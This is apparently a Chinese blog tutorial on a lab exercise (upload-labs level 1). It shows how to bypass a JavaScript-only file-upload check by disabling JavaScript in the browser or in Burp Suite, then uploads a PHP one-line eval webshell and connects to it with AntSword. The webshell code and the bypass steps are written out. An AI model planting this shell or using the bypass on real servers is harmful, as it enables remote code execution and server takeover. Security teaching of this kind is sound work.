文件上传漏洞-绕过js验证

1.漏洞原理:

Web应用系统虽然对用户上传的文件进行了校验,但是校验是通过前端javascript代码完成的。由于恶意用户可以对前端javascript进行修改或者是通过抓包软件篡改上传的文件,就会导致基于js的校验很容易被绕过。

2.判断页面是否存在前端绕过js验证

打开开发者工具调试面板,选择网络,然后上传图片文件和非图片文件,然后对这两个文件的变化进行对比,如果网络中没有数据变化,说明存在js前端验证漏洞,如果有变化说明不存在。(有变化说明,前端没有做验证,是把文件传输到后台,在后台进行验证的,所以才会有网络请求。)

这里以upload-labs less1为例,随便上传一个php文件发现网络并没有波动,说明这个拦截是通过前端JavaScript代码完成的。通过图二可以看到,上传正常图片文件网络栏有数据传输,说明有数据向后台发送,说明页面存在js绕过漏洞。

3.创建一个1.php文件(一句话木马):

复制代码
<?php @eval($_REQUEST['666']); ?>

禁用JavaScript

(1)通过开发者工具禁用

(2)通过burpsuit禁用

通过抓包后点击option找到remove all JavaScript

带有木马的文件成功上传到服务器

4.接下来打开蚁剑连接木马

5.发现已经可以看到upload-labs下所有的文件

相关推荐
2501_948122636 分钟前
React Native for OpenHarmony 实战:Steam 资讯 App 服务条款实现
javascript·react native·react.js·游戏·ecmascript·harmonyos
奚大野...11 分钟前
uni-app手机端项目touchmove禁止页面上下拉滑动
前端·javascript·uni-app
Object~20 分钟前
4.const和iota
开发语言·前端·javascript
攀登的牵牛花26 分钟前
前端向架构突围系列 - 工程化(一):JavaScript 演进史与最佳实践
前端·javascript
夏天想29 分钟前
为什么使用window.print打印的页面只有第一页。其他页面没有了。并且我希望打印的是一个弹窗的内容,竟然把弹窗的样式边框和打印的按钮都打印进去了
前端·javascript·html
willingli40 分钟前
c语言经典100题 61-70题
c语言·开发语言·算法
我是小疯子661 小时前
深入解析C++右值引用与移动语义
java·开发语言·算法
Ethan Wilson1 小时前
VS2019 C++20 模块相关 C1001: 内部编译器错误
开发语言·c++·c++20
郝学胜-神的一滴1 小时前
Python数据封装与私有属性:保护你的数据安全
linux·服务器·开发语言·python·程序人生
悟能不能悟1 小时前
Elastic Stack 中两种主要查询语言 KQL (Kibana Query Language) 和 Lucene 的详细对比和解释。
java·开发语言